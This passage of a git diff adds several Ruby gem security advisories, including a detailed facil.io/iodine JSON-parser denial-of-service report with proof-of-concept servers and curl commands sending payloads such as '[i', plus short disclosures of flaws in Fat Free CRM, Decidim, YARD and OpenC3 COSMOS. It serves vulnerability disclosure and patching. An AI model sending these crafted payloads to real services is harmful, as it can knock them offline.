+ This is a denial-of-service issue. An attacker who can supply JSON
+ to an affected parser path can cause the process to spin indefinitely
+ and consume CPU at roughly 100 of one core. In practice, the impact
+ depends on whether an application exposes parser access to untrusted
+ clients, but for services that do, a single crafted request can tie
+ up a worker or thread until it is killed or restarted.
+
+ I would describe the impact as:
+
+ - Availability impact: high for affected parser entry points
+ - Confidentiality impact: none observed
+ - Integrity impact: none observed
+
+ ## Suggested Patch
+ Treat zero-consumption numeric parses as failures before accepting the token.
+
+ ```diff
+ diff --git a/lib/facil/fiobj/fio_json_parser.h \
+ b/lib/facil/fiobj/fio_json_parser.h
+ @@
+ uint8_t *tmp = pos;
+ long long i = fio_atol((char **)&tmp);
+ if (tmp > limit)
+ goto stop;
+ - if (!tmp || JSON_NUMERAL[*tmp]) {
+ + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
+ tmp = pos;
+ double f = fio_atof((char **)&tmp);
+ if (tmp > limit)
+ goto stop;
+ - if (!tmp || JSON_NUMERAL[*tmp])
+ + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
+ goto error;
+ fio_json_on_float(parser, f);
+ pos = tmp;
+ ```
+
+ This preserves permissive `inf` / `nan` handling when the float
+ parser actually consumes input, but rejects bare `i` / `I` tokens
+ that otherwise leave the cursor unchanged.
+
+ The same change should be mirrored to `iodine`'s vendored copy:
+
+ - `ext/iodine/fio_json_parser.h`
+
+
+ ## Impact
+ - `facil.io`
+ - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e`
+ (`git describe`: `0.7.5-24-g162df840`)
+ - Verified on tagged releases `0.7.5` and `0.7.6`
+ - `iodine` Ruby gem
+ - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8`
+ - Verified on tag / gem version `v0.7.58`
+ - The gem vendors a copy of the vulnerable parser in
+ `ext/iodine/fio_json_parser.h`
+ cvss_v4: 8.7
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-41146
+ - https://github.com/boazsegev/iodine/releases/tag/v0.7.58
+ - https://github.com/boazsegev/iodine/commit/0855989d74098d838b972520835cfc256bc479bc
+ - https://github.com/boazsegev/facil.io/commit/5128747363055201d3ecf0e29bf0a961703c9fa0
+ - https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm
+ - https://github.com/advisories/GHSA-2x79-gwq3-vxxm
+ notes: |
+ - FYI: iodine commit above contains the unreleased patch.
+ - Found GHSA's `patched_versions:` field is "0.7.59" but never released.
+---
diff --git a/advisories/_posts/2026-04-14-GHSA-2x79-gwq3-vxxm.md b/advisories/_posts/2026-04-14-GHSA-2x79-gwq3-vxxm.md
new file mode 100644
index 00000000..80942f3e
--- /dev/null
+++ b/advisories/_posts/2026-04-14-GHSA-2x79-gwq3-vxxm.md
@@ -0,0 +1,269 @@
+---
+layout: advisory
+title: 'GHSA-2x79-gwq3-vxxm (iodine): Uncontrolled resource consumption and loop with
+ unreachable exit condition in facil.io and downstream iodine ruby gem'
+comments: false
+categories:
+- iodine
+advisory:
+ gem: iodine
+ ghsa: 2x79-gwq3-vxxm
+ url: https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm
+ title: Uncontrolled resource consumption and loop with unreachable exit condition
+ in facil.io and downstream iodine ruby gem
+ date: 2026-04-14
+ description: |-
+ ### Summary
+
+ `fio_json_parse` can enter an infinite loop when it encounters a
+ nested JSON value starting with `i` or `I`. The process spins in
+ user space and pegs one CPU core at ~100 instead of returning a
+ parse error. Because `iodine` vendors the same parser code, the
+ issue also affects `iodine` when it parses attacker-controlled JSON.
+
+ The smallest reproducer found is `[i`. The quoted-value form that
+ originally exposed the issue, `[""i`, reaches the same bug because
+ the parser tolerates missing commas and then treats the trailing
+ `i` as the start of another value.
+
+ ### Details
+
+ The vulnerable logic is in `lib/facil/fiobj/fio_json_parser.h` around
+ the numeral handling block (`0.7.5` / `0.7.6`: lines `434-468`;
+ `master`: lines `434-468` in the current tree as tested).
+
+ This parser is reached from real library entry points, not just
+ the header in isolation:
+
+ - `facil.io`: `lib/facil/fiobj/fiobj_json.c:377-387` (`fiobj_json2obj`)
+ and `402-411` (`fiobj_hash_update_json`)
+ - `iodine`: `ext/iodine/iodine_json.c:161-177` (`iodine_json_convert`)
+ - `iodine`: `ext/iodine/fiobj_json.c:377-387` and `402-411`
+
+ Relevant flow:
+
+ 1. Inside an array or object, the parser sees `i` or `I` and jumps
+ to the `numeral:` label.
+
+ 2. It calls `fio_atol((char **)&tmp)`.
+
+ 3. For a bare `i` / `I`, `fio_atol` consumes zero characters and
+ leaves `tmp == pos`.
+
+ 4. The current code only falls back to float parsing when
+ `JSON_NUMERAL[*tmp]` is true.
+
+ 5. `JSON_NUMERAL['i'] == 0`, so the parser incorrectly accepts
+ the value as an integer and sets `pos = tmp` without advancing.
+
+ 6. Because parsing is still nested (`parser->depth > 0`), the
+ outer loop continues forever with the same `pos`.
+
+ The same logic exists in `iodine`'s vendored copy at
+ `ext/iodine/fio_json_parser.h` lines `434-468`.
+
+ Why the `[""i` form hangs:
+
+ 1. The parser accepts the empty string `""` as the first array element.
+ 2. It does not require a comma before the next token.
+ 3. The trailing `i` is then parsed as a new nested value.
+ 4. The zero-progress numeral path above causes the infinite loop.
+
+ Examples that trigger the bug:
+
+ - Array form, minimal: `[i`
+ - Object form: `{"a":i`
+ - After a quoted value in an array: `[""i`
+ - After a quoted value in an object: `{"a":""i`
+
+ ### Minimal standalone program
+
+ Use the normal HTTP stack. The following server calls `http_parse_body(h)`,
+ which reaches `fiobj_json2obj` and then `fio_json_parse` for
+ `Content-Type: application/json`.
+
+ ```c
+ #define _POSIX_C_SOURCE 200809L
+
+ #include
+ #include
+ #include
+ #include
+
+ static void on_request(http_s *h) {
+ fprintf(stderr, "calling http_parse_body
+ ");
+ fflush(stderr);
+ http_parse_body(h);
+ fprintf(stderr, "returned from http_parse_body
+ ");
+ http_send_body(h, "ok
+ ", 3);
+ }
+
+ int main(void) {
+ if (http_listen("3000", "127.0.0.1",
+ .on_request = on_request,
+ .max_body_size = (1024 * 1024),
+ .log = 1) == -1) {
+ perror("http_listen");
+ return 1;
+ }
+ fio_start(.threads = 1, .workers = 1);
+ return 0;
+ }
+ ```
+
+ `http_parse_body(h)` is the higher-level entry point and, for
+ `Content-Type: application/json`, it reaches `fiobj_json2obj`
+ in `lib/facil/http/http.c:1947-1953`.
+
+ Save it as `src/main.c` in a vulnerable `facil.io` checkout
+ and build it with the repo `makefile`:
+
+ ```bash
+ git checkout 0.7.6
+ mkdir -p src
+ make NAME=http_json_poc
+ ```
+
+ Run:
+
+ ```bash
+ ./tmp/http_json_poc
+ ```
+
+ Then in another terminal send one of these payloads:
+
+ ```bash
+ printf '[i' | curl --http1.1 -H 'Content-Type: application/json'
+ -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json'
+ -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '[""i' | curl --http1.1 -H 'Content-Type: application/json'
+ -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json'
+ -X POST --data-binary @- http://127.0.0.1:3000/
+ ```
+
+ Observed result on a vulnerable build:
+
+ - The server prints `calling http_parse_body` and never reaches
+ `returned from http_parse_body`.
+ - The request never completes.
+ - One worker thread spins until the process is killed.
+
+ ### Downstream impact in `iodine`
+
+ `iodine` vendors the same parser implementation in
+ `ext/iodine/fio_json_parser.h`, so any `iodine` code path that
+ parses attacker-controlled JSON through this parser inherits
+ the same hang / CPU exhaustion behavior.
+
+ Single-file `iodine` HTTP server repro:
+
+ ```ruby
+ require "iodine"
+
+ APP = proc do |env|
+ body = env["rack.input"].read.to_s
+ warn "calling Iodine::JSON.parse on: #{body.inspect}"
+ Iodine::JSON.parse(body)
+ warn "returned from Iodine::JSON.parse"
+ [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok
+ "]]
+ end
+
+ Iodine.listen service: :http,
+ address: "127.0.0.1",
+ port: "3000",
+ handler: APP
+
+ Iodine.threads = 1
+ Iodine.workers = 1
+ Iodine.start
+ ```
+
+ Run:
+
+ ```bash
+ ruby iodine_json_parse_http_poc.rb
+ ```
+
+ Then in a second terminal:
+
+ ```bash
+ printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
+ printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
+ ```
+
+ On a vulnerable build, the server prints the `calling Iodine::JSON.parse...`
+ line but never prints the `returned from Iodine::JSON.parse` line
+ for these payloads.
+
+ ## Impact
+
+ This is a denial-of-service issue. An attacker who can supply JSON
+ to an affected parser path can cause the process to spin indefinitely
+ and consume CPU at roughly 100 of one core. In practice, the impact
+ depends on whether an application exposes parser access to untrusted
+ clients, but for services that do, a single crafted request can tie
+ up a worker or thread until it is killed or restarted.
+
+ I would describe the impact as:
+
+ - Availability impact: high for affected parser entry points
+ - Confidentiality impact: none observed
+ - Integrity impact: none observed
+
+ ## Suggested Patch
+ Treat zero-consumption numeric parses as failures before accepting the token.
+
+ ```diff
+ diff --git a/lib/facil/fiobj/fio_json_parser.h \
+ b/lib/facil/fiobj/fio_json_parser.h
+ @@
+ uint8_t *tmp = pos;
+ long long i = fio_atol((char **)&tmp);
+ if (tmp > limit)
+ goto stop;
+ - if (!tmp || JSON_NUMERAL[*tmp]) {
+ + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
+ tmp = pos;
+ double f = fio_atof((char **)&tmp);
+ if (tmp > limit)
+ goto stop;
+ - if (!tmp || JSON_NUMERAL[*tmp])
+ + if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
+ goto error;
+ fio_json_on_float(parser, f);
+ pos = tmp;
+ ```
+
+ This preserves permissive `inf` / `nan` handling when the float
+ parser actually consumes input, but rejects bare `i` / `I` tokens
+ that otherwise leave the cursor unchanged.
+
+ The same change should be mirrored to `iodine`'s vendored copy:
+
+ - `ext/iodine/fio_json_parser.h`
+
+
+ ## Impact
+ - `facil.io`
+ - Verified on `master` commit `162df84001d66789efa883eebb0567426d00148e`
+ (`git describe`: `0.7.5-24-g162df840`)
+ - Verified on tagged releases `0.7.5` and `0.7.6`
+ - `iodine` Ruby gem
+ - Verified on repo commit `5bebba698d69023cf47829afe51052f8caa6c7f8`
+ - Verified on tag / gem version `v0.7.58`
+ - The gem vendors a copy of the vulnerable parser in
+ `ext/iodine/fio_json_parser.h`
+ related:
+ url:
+ - https://github.com/boazsegev/iodine/releases/tag/v0.7.58
+ - https://github.com/boazsegev/facil.io/security/advisories/GHSA-2x79-gwq3-vxxm
+ - https://github.com/advisories/GHSA-2x79-gwq3-vxxm
+---
diff --git a/advisories/_posts/2026-04-14-GHSA-9pm8-vwc5-w2hm.md b/advisories/_posts/2026-04-14-GHSA-9pm8-vwc5-w2hm.md
new file mode 100644
index 00000000..0884fe66
--- /dev/null
+++ b/advisories/_posts/2026-04-14-GHSA-9pm8-vwc5-w2hm.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'GHSA-9pm8-vwc5-w2hm (fat_free_crm): Fat Free CRM has BOLA in DELETE /emails/:id
+ - Any authenticated user can hit this endpoint and delete emails by ID'
+comments: false
+categories:
+- fat_free_crm
+advisory:
+ gem: fat_free_crm
+ ghsa: 9pm8-vwc5-w2hm
+ url: https://github.com/fatfreecrm/fat_free_crm/security/advisories/GHSA-9pm8-vwc5-w2hm
+ title: Fat Free CRM has BOLA in DELETE /emails/:id - Any authenticated user can
+ hit this endpoint and delete emails by ID
+ date: 2026-04-14
+ description: |-
+ Fat Free CRM has BOLA (Broken Object Level Authorization) in
+ DELETE /emails/:id - Any authenticated user can hit this
+ endpoint and delete emails by ID
+
+ ### Impact
+
+ Authenticated users can delete emails imported into the system
+ assigned to another user; where the
+ [Email Dropbox](https://github.com/fatfreecrm/fat_free_crm/wiki/Email-Dropbox)
+ is in use.
+
+ ### Workarounds
+
+ Disable use of email dropbox.
+ cvss_v3: 2.1
+ cvss_v4: 2.1
+ patched_versions:
+ - ">= 0.26.0"
+ related:
+ url:
+ - https://rubygems.org/gems/fat_free_crm/versions/0.26.0
+ - https://github.com/fatfreecrm/fat_free_crm/releases/tag/v0.26.0
+ - https://github.com/fatfreecrm/fat_free_crm/security/advisories/GHSA-9pm8-vwc5-w2hm
+ - https://github.com/advisories/GHSA-9pm8-vwc5-w2hm
+---
diff --git a/advisories/_posts/2026-04-14-GHSA-ghmh-q25g-gxxx.md b/advisories/_posts/2026-04-14-GHSA-ghmh-q25g-gxxx.md
new file mode 100644
index 00000000..d96a0826
--- /dev/null
+++ b/advisories/_posts/2026-04-14-GHSA-ghmh-q25g-gxxx.md
@@ -0,0 +1,102 @@
+---
+layout: advisory
+title: 'GHSA-ghmh-q25g-gxxx (decidim-comments): Decidim''s comments API allows access
+ to all commentable resources'
+comments: false
+categories:
+- decidim-comments
+advisory:
+ gem: decidim-comments
+ ghsa: ghmh-q25g-gxxx
+ url: https://github.com/decidim/decidim/security/advisories/GHSA-ghmh-q25g-gxxx
+ title: Decidim's comments API allows access to all commentable resources
+ date: 2026-04-14
+ description: |-
+ ### Impact
+
+ The root level `commentable` field in the API allows access to all
+ commentable resources within the platform, without any permission
+ checks. All Decidim instances are impacted that have not secured
+ the `/api` endpoint. The `/api` endpoint is publicly available
+ with the default configuration.
+
+ ### Patches
+
+ Not available
+
+ ### Workarounds
+
+ To mitigate the issue, you can limit the scope to only authenticated
+ users by limiting access to the `/api` endpoint. This would require
+ custom code or installing the 3rd party module `Decidim::Apiauth`.
+
+ With custom code, the `/api` endpoint can be limited to only
+ authenticated users with the following code (needs to run during
+ application initialization):
+
+ ```ruby
+ # Within your application
+ # config/initializers/limit_api_access.rb
+
+ module LimitApiAccess
+ extend ActiveSupport::Concern
+
+ included do
+ prepend_before_action do |controller|
+ unless controller.send(:user_signed_in?)
+ render plain: I18n.t("actions.login_before_access",
+ scope: "decidim.core"), status: :unauthorized
+ end
+ end
+ end
+ end
+
+ Rails.application.config.to_prepare do
+ Decidim::Api::ApplicationController.include(LimitApiAccess)
+ end
+ ```
+
+ Please note that this would only disable public access to the API
+ and all authenticated users would be still able to exploit the
+ vulnerability. This may be sufficient for some installations,
+ but not for all.
+
+ Another workaround is to limit the availability of the `/api`
+ endpoint to only trusted ranges of IPs that need to access the
+ API. The following Nginx configuration would help limiting the
+ API access to only specific IPs:
+
+ ```
+ location /api {
+ allow 192.168.1.100;
+ allow 192.168.1.101;
+ deny all;
+ }
+ ```
+
+ The same configuration can be also used without the `allow`
+ statements to disable all traffic to the the `/api` endpoint.
+
+ When considering a workaround and the seriousness of the vulnerability,
+ please consider the nature of the platform. If the platform is primarily
+ serving public data, this vulnerability is not serious by its nature.
+ If the platform is protecting some resources, e.g. inside private
+ participation spaces, the vulnerability may expose some data to
+ the attacker that is not meant public.
+
+ If you have enabled the organization setting "Force users to
+ authenticate before access organization", the scope of this
+ vulnerability is limited to the users who are allowed to log in
+ to the Decidim platform. This setting was introduced in version
+ 0.19.0 and it was applied to the `/api` endpoint in version 0.22.0.
+ cvss_v3: 7.5
+ unaffected_versions:
+ - "< 0.0.1"
+ patched_versions:
+ - "~> 0.30.5"
+ - ">= 0.31.1"
+ related:
+ url:
+ - https://github.com/decidim/decidim/security/advisories/GHSA-ghmh-q25g-gxxx
+ - https://github.com/advisories/GHSA-ghmh-q25g-gxxx
+---
diff --git a/advisories/_posts/2026-04-14-GHSA-w5xj-99cg-rccm.md b/advisories/_posts/2026-04-14-GHSA-w5xj-99cg-rccm.md
new file mode 100644
index 00000000..2ebd44f9
--- /dev/null
+++ b/advisories/_posts/2026-04-14-GHSA-w5xj-99cg-rccm.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'GHSA-w5xj-99cg-rccm (decidim-core): Decidim amendments can be accepted or
+ rejected by anyone'
+comments: false
+categories:
+- decidim-core
+advisory:
+ gem: decidim-core
+ ghsa: w5xj-99cg-rccm
+ url: https://github.com/decidim/decidim/security/advisories/GHSA-w5xj-99cg-rccm
+ title: Decidim amendments can be accepted or rejected by anyone
+ date: 2026-04-14
+ description: |-
+ ### Impact
+
+ The vulnerability allows any registered and authenticated user to
+ accept or reject any amendments. The impact is on any users who
+ have created proposals where the amendments feature is enabled.
+ This also elevates the user accepting the amendment as the author
+ of the original proposal as people amending proposals are provided
+ coauthorship on the coauthorable resources.
+
+ The only check done when accepting or rejecting amendments is whether
+ the amendment reactions are enabled for the component:
+ - https://github.com/decidim/decidim/blob/9d6c3d2efe5a83bb02e095824ff5998d96a75eb7/decidim-core/app/permissions/decidim/permissions.rb#L107
+
+ The permission checks have been changed at 1b99136 which was
+ introduced in released version 0.19.0. I have not investigated
+ whether prior versions are also affected.
+
+ ### Patches
+
+ Not available
+
+ ### Workarounds
+
+ Disable amendment reactions for the amendable component (e.g. proposals).
+ cvss_v3: 7.5
+ unaffected_versions:
+ - "< 0.19.0"
+ patched_versions:
+ - "~> 0.30.5"
+ - ">= 0.31.1"
+ related:
+ url:
+ - https://github.com/decidim/decidim/security/advisories/GHSA-w5xj-99cg-rccm
+ - https://github.com/decidim/decidim/commit/1b99136a1c7aa02616a0b54a6ab88d12907a57a9
+ - https://github.com/advisories/GHSA-w5xj-99cg-rccm
+---
diff --git a/advisories/_posts/2026-04-17-CVE-2026-41493.md b/advisories/_posts/2026-04-17-CVE-2026-41493.md
new file mode 100644
index 00000000..47bbb11d
--- /dev/null
+++ b/advisories/_posts/2026-04-17-CVE-2026-41493.md
@@ -0,0 +1,51 @@
+---
+layout: advisory
+title: 'CVE-2026-41493 (yard): Possible arbitrary path traversal and file access via
+ yard server'
+comments: false
+categories:
+- yard
+advisory:
+ gem: yard
+ cve: 2026-41493
+ ghsa: 3jfp-46x4-xgfj
+ url: https://nvd.nist.gov/vuln/detail/CVE-2026-41493
+ title: Possible arbitrary path traversal and file access via yard server
+ date: 2026-04-17
+ description: |-
+ ### Impact
+
+ A path traversal vulnerability was discovered in YARD <= 0.9.41 when
+ using yard server to serve documentation. This bug would allow
+ unsanitized HTTP requests to access arbitrary files on the machine
+ of a yard server host under certain conditions.
+
+ The original patch in [GHSA-xfhh-rx56-rxcr](https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr)
+ was incorrectly applied.
+
+ ### Patches
+
+ Please upgrade to YARD v0.9.42 immediately if you are relying on
+ yard server to host documentation in any untrusted environments
+ without WEBrick and rely on `--docroot`.
+
+ ### Workarounds
+
+ For users who cannot upgrade, it is possible to perform path
+ sanitization of HTTP requests at your webserver level. WEBrick,
+ for example, can perform such sanitization by default (which
+ you can use via yard server -s webrick), as can certain rules
+ in your webserver configuration.
+ cvss_v3: 7.5
+ cvss_v4: 6.9
+ patched_versions:
+ - ">= 0.9.42"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-41493
+ - https://github.com/lsegal/yard/releases/tag/v0.9.42
+ - https://my.diffend.io/gems/yard/0.9.41/0.9.42
+ - https://github.com/lsegal/yard/security/advisories/GHSA-3jfp-46x4-xgfj
+ - https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr
+ - https://github.com/advisories/GHSA-3jfp-46x4-xgfj
+---
diff --git a/advisories/_posts/2026-04-17-GHSA-3jfp-46x4-xgfj.md b/advisories/_posts/2026-04-17-GHSA-3jfp-46x4-xgfj.md
new file mode 100644
index 00000000..fdd74c45
--- /dev/null
+++ b/advisories/_posts/2026-04-17-GHSA-3jfp-46x4-xgfj.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'GHSA-3jfp-46x4-xgfj (yard): yard - Possible arbitrary path traversal and file
+ access via yard server'
+comments: false
+categories:
+- yard
+advisory:
+ gem: yard
+ ghsa: 3jfp-46x4-xgfj
+ url: https://github.com/lsegal/yard/security/advisories/GHSA-3jfp-46x4-xgfj
+ title: yard - Possible arbitrary path traversal and file access via yard server
+ date: 2026-04-17
+ description: |-
+ ### Impact
+
+ A path traversal vulnerability was discovered in YARD <= 0.9.41 when
+ using yard server to serve documentation. This bug would allow
+ unsanitized HTTP requests to access arbitrary files on the machine
+ of a yard server host under certain conditions.
+
+ The original patch in [GHSA-xfhh-rx56-rxcr](https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr)
+ was incorrectly applied.
+
+ ### Patches
+
+ Please upgrade to YARD v0.9.42 immediately if you are relying on yard
+ server to host documentation in any untrusted environments without
+ WEBrick and rely on `--docroot`.
+
+ ### Workarounds
+
+ For users who cannot upgrade, it is possible to perform path sanitization
+ of HTTP requests at your webserver level. WEBrick, for example, can
+ perform such sanitization by default (which you can use via yard
+ server -s webrick), as can certain rules in your webserver configuration.
+ patched_versions:
+ - ">= 0.9.42"
+ related:
+ url:
+ - https://my.diffend.io/gems/yard/0.9.41/0.9.42
+ - https://github.com/lsegal/yard/security/advisories/GHSA-3jfp-46x4-xgfj
+ - https://github.com/lsegal/yard/security/advisories/GHSA-xfhh-rx56-rxcr
+ - https://github.com/advisories/GHSA-3jfp-46x4-xgfj
+---
diff --git a/advisories/_posts/2026-04-22-CVE-2026-42084.md b/advisories/_posts/2026-04-22-CVE-2026-42084.md
new file mode 100644
index 00000000..900c52c4
--- /dev/null
+++ b/advisories/_posts/2026-04-22-CVE-2026-42084.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'CVE-2026-42084 (openc3): OpenC3 COSMOS - Hijacked session token can be used
+ to reset password for persistence'
+comments: false
+categories:
+- openc3
+advisory:
+ gem: openc3
+ cve: 2026-42084
+ ghsa: wgx6-g857-jjf7
+ url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-wgx6-g857-jjf7
+ title: OpenC3 COSMOS - Hijacked session token can be used to reset password for
+ persistence
+ date: 2026-04-22
+ description: |-
+ ### Summary
+
+ The OpenC3 password change functionality allows a user to change their
+ password without providing the old password, by accepting a valid
+ session token instead. In assumed breach scenarios, this behaviour
+ can be exploited by an attacker who has already obtained a valid
+ session token, to gain persistence in hijacked account (including
+ admin) and prevent legitimate users from accessing the account.
+
+ ### Details
+
+ The design flaw in authentication model ([authentication.rb](https://github.com/OpenC3/cosmos/blob/397abec0d57972881a2e8dc10902d0dce9c27f42/openc3/lib/openc3/utilities/authentication.rb))
+ allows for interchangeable use of password and session tokens for
+ user authentication As old tokens are not revoked upon password
+ reset, an attacker who has obtained a valid session token can
+ continue to authenticate and change the account’s password even
+ after the victim resets it, thereby maintaining persistent control
+ over the compromised account.
+
+ ### Impact
+
+ Persistence of an attacker who obtained valid session token and
+ preventing legitimate users from account access.
+ cvss_v3: 8.1
+ patched_versions:
+ - "~> 6.10.5"
+ - ">= 7.0.0-rc3"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-42084
+ - https://github.com/OpenC3/cosmos/security/advisories/GHSA-wgx6-g857-jjf7
+ - https://github.com/OpenC3/cosmos/releases/tag/v7.0.0-rc3
+ - https://github.com/OpenC3/cosmos/releases/tag/v6.10.5
+ - https://github.com/OpenC3/cosmos/commit/2e623714e3426d5ae81b6f8239d4a2a6937ef776
+ - https://github.com/advisories/GHSA-wgx6-g857-jjf7
+---
diff --git a/advisories/_posts/2026-04-22-CVE-2026-42085.md b/advisories/_posts/2026-04-22-CVE-2026-42085.md
new file mode 100644
index 00000000..c90ad118
--- /dev/null
+++ b/advisories/_posts/2026-04-22-CVE-2026-42085.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'CVE-2026-42085 (openc3): OpenC3 COSMOS allows arbitrary writes to plugins
+ directory via path-traversed config filenames'
+comments: false
+categories:
+- openc3
+advisory:
+ gem: openc3
+ cve: 2026-42085
+ ghsa: 4jvx-93h3-f45h
+ url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-4jvx-93h3-f45h
+ title: OpenC3 COSMOS allows arbitrary writes to plugins directory via path-traversed
+ config filenames
+ date: 2026-04-22
+ description: |-
+ ### Summary
+
+ OpenC3 COSMOS contains a design flaw in the `save_tool_config()`
+ function that allows saving tool configuration files at arbitrary
+ locations inside the shared `/plugins` directory tree by supplying
+ crafted configuration filenames. Although the implementation
+ sufficiently mitigates standard path traversal attacks, by
+ canonicalizing filename to an absolute path, all plugins share this
+ same root directory. That enables users to create arbitrary file
+ structures and overwrite existing configuration files within the
+ shared `/plugins` directory.
+
+ ### Details
+
+ In function `save_tool_config()` ([local_mode.rb](https://github.com/OpenC3/cosmos/blob/397abec0d57972881a2e8dc10902d0dce9c27f42/openc3/lib/openc3/utilities/local_mode.rb#L452))
+ responsible for saving user-supplied tool configuration, the desired
+ saving directory is not sufficiently enforced, instead allowing
+ writes inside entire `OPENC3_LOCAL_MODE_PATH`.
+
+ ### Impact
+
+ Modifying the data of other plugins.
+ cvss_v3: 4.3
+ patched_versions:
+ - "~> 6.10.5"
+ - ">= 7.0.0-rc3"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-42085
+ - https://github.com/OpenC3/cosmos/security/advisories/GHSA-4jvx-93h3-f45h
+ - https://github.com/OpenC3/cosmos/releases/tag/v7.0.0-rc3
+ - https://github.com/OpenC3/cosmos/releases/tag/v6.10.5
+ - https://github.com/OpenC3/cosmos/commit/9957a9fa460c0c0cf5cdbf6a5931bbdd025246a5
+ - https://github.com/OpenC3/cosmos/commit/e6efccbd148ba0e3361c5891027f2373aa140d42
+ - https://github.com/advisories/GHSA-4jvx-93h3-f45h
+---
diff --git a/advisories/_posts/2026-04-22-CVE-2026-42086.md b/advisories/_posts/2026-04-22-CVE-2026-42086.md
new file mode 100644
index 00000000..84746aff
--- /dev/null
+++ b/advisories/_posts/2026-04-22-CVE-2026-42086.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2026-42086 (openc3): OpenC3 COSMOS is Vulnerable to Self-XSS Through the
+ Command Sender'
+comments: false
+categories:
+- openc3
+advisory:
+ gem: openc3
+ cve: 2026-42086
+ ghsa: ffq5-qpvf-xq7x
+ url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-ffq5-qpvf-xq7x
+ title: OpenC3 COSMOS is Vulnerable to Self-XSS Through the Command Sender
+ date: 2026-04-22
+ description: |-
+ ### Summary
+
+ The Command Sender UI uses an unsafe `eval()` function on array-like
+ command parameters, which allows a user-supplied payload to execute
+ in the browser when sending a command. This creates a self-XSS risk
+ because an attacker can trigger their own script execution in the
+ victim’s session, if allowed to influence the array parameter input,
+ for example via phishing. If successful, an attacker may read or
+ modify data in the authenticated browser context, including session
+ tokens in local storage.
+
+ ### Details
+
+ The unsafe `eval()` usage on user-supplied ARRAY parameters happens
+ in `convertToValue` method in [CommandSender.vue](https://github.com/OpenC3/cosmos/blob/main/openc3-cosmos-init/plugins/packages/openc3-cosmos-tool-cmdsender/src/tools/CommandSender/CommandSender.vue)
+
+ ### Impact
+
+ Local JavaScript execution in the user's browser.
+ cvss_v3: 4.6
+ patched_versions:
+ - ">= 7.0.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-42086
+ - https://github.com/OpenC3/cosmos/security/advisories/GHSA-ffq5-qpvf-xq7x
+ - https://github.com/advisories/GHSA-ffq5-qpvf-xq7x
+---
diff --git a/advisories/_posts/2026-04-23-CVE-2026-42087.md b/advisories/_posts/2026-04-23-CVE-2026-42087.md
new file mode 100644
index 00000000..6272e6e5
--- /dev/null
+++ b/advisories/_posts/2026-04-23-CVE-2026-42087.md
@@ -0,0 +1,49 @@
+---
+layout: advisory
+title: 'CVE-2026-42087 (openc3): OpenC3 COSMOS has SQL Injection in QuestDB Time-Series
+ Database'
+comments: false
+categories:
+- openc3
+advisory:
+ gem: openc3
+ cve: 2026-42087
+ ghsa: v529-vhwc-wfc5
+ url: https://github.com/OpenC3/cosmos/security/advisories/GHSA-v529-vhwc-wfc5
+ title: OpenC3 COSMOS has SQL Injection in QuestDB Time-Series Database
+ date: 2026-04-23
+ description: |-
+ Vulnerability Type: CWE-89: Improper Neutralization of Special Elements
+ used in an SQL Command ('SQL Injection')
+
+ Attack type: Authenticated remote
+
+ Impact: Telemetry data disclosure and deletion
+
+ Affected components: openc3-tsdb (QuestDB)
+
+ A SQL injection vulnerability exists in the Time-Series Database (TSDB)
+ component of COSMOS. The `tsdb_lookup` function in the `cvt_model.rb`
+ file directly places user-supplied input into a SQL query without
+ sanitizing the input. As a result, a user can break out of the initial
+ SQL statement and execute arbitrary SQL commands, including deleting data.
+
+ ## Recommendations
+
+ * Sanitize all user-supplied input before executing it.
+ * Use prepared statements with parameterized queries when
+ executing SQL statements.
+ cvss_v3: 9.6
+ unaffected_versions:
+ - "< 6.7.0"
+ patched_versions:
+ - ">= 7.0.0"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-42087
+ - https://rubygems.org/gems/openc3/versions/7.0.0
+ - https://github.com/OpenC3/cosmos/releases/tag/v7.0.0
+ - https://github.com/OpenC3/cosmos/security/advisories/GHSA-v529-vhwc-wfc5
+ - https://github.com/OpenC3/cosmos/commit/9ba60c09c8836a37a2e4ea67ab35fe403e041415
+ - https://github.com/advisories/GHSA-v529-vhwc-wfc5
+---
diff --git a/advisories/_posts/2026-04-23-GHSA-2wvh-87g2-89hr.md b/advisories/_posts/2026-04-23-GHSA-2wvh-87g2-89hr.md
new file mode 100644
index 00000000..bbf67fee
--- /dev/null
+++ b/advisories/_posts/2026-04-23-GHSA-2wvh-87g2-89hr.md
